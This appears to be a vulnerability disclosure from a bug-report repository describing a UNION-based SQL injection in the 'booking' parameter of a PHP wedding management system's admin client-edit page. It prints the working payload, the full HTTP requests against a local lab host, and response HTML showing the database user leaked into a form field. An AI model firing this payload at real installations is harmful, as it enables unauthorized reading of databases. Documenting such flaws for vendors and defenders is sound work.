

main

...

bug_report / vendors / codeastro.com / wedding-management-system / SQLi-2.md



debug601 Update SQLi-2.md

History

1 contributor

28 lines (19 sloc) | 1.03 KB

...

Wedding Management System v1.0 by codeastr.com has SQL injection

vendors: <https://codeastro.com/wedding-management-system-in-php-with-source-code/>

Vulnerability File: \admin\client_edit.php

Vulnerability location: /Wedding-Management/admin/client_edit.php?booking=, booking

[+] Payload: booking=-31%20union%20select%201,2,3,4,5,user(),7,8--+

dbname = dbwedding

```
GET /Wedding-Management/admin/client_edit.php?booking=-31%20union%20select%201,2,3,4
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
GET /Wedding-Management/admin/client_edit.php?booking=-31%20union%20select%201,2,3,4,5,user(),7,8--+&user_id=31 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close
```

```
<input type="text" name="firstname" class="form-control" value="Aaron" placeholder="Enter firstname">
</div>
<div class="form-group col-md-6">
  <label for="inputLastName">Lastname</label>
  <input type="text" name="lastname" class="form-control" value="Turner" placeholder="Enter lastname">
</div>
<div class="form-group">
  <label for="inputEmail">Email</label>
  <input type="text" name="email" class="form-control" id="inputEmail" value="root@localhost" placeholder="Enter email">
</div>
<div class="form-row form-group">
  <div class="col-md-6">
    <label for="wedding_date">Wedding Date</label>
```

SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* FILE* ENCRYPTION* OTHER* ASST* LFI*

Load URL

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

WPMS Admin Panel

Liam Moore
Administrator

Dashboard

Blogs & Events

Clients

Services

Gallery

Upload Photos

User Management

Edit Client Information

Edit Customer

Cancel

Firstname

Aaron

Lastname

Turner

Email

root@localhost

Wedding Date

7

Wedding Type

Elite - 52,000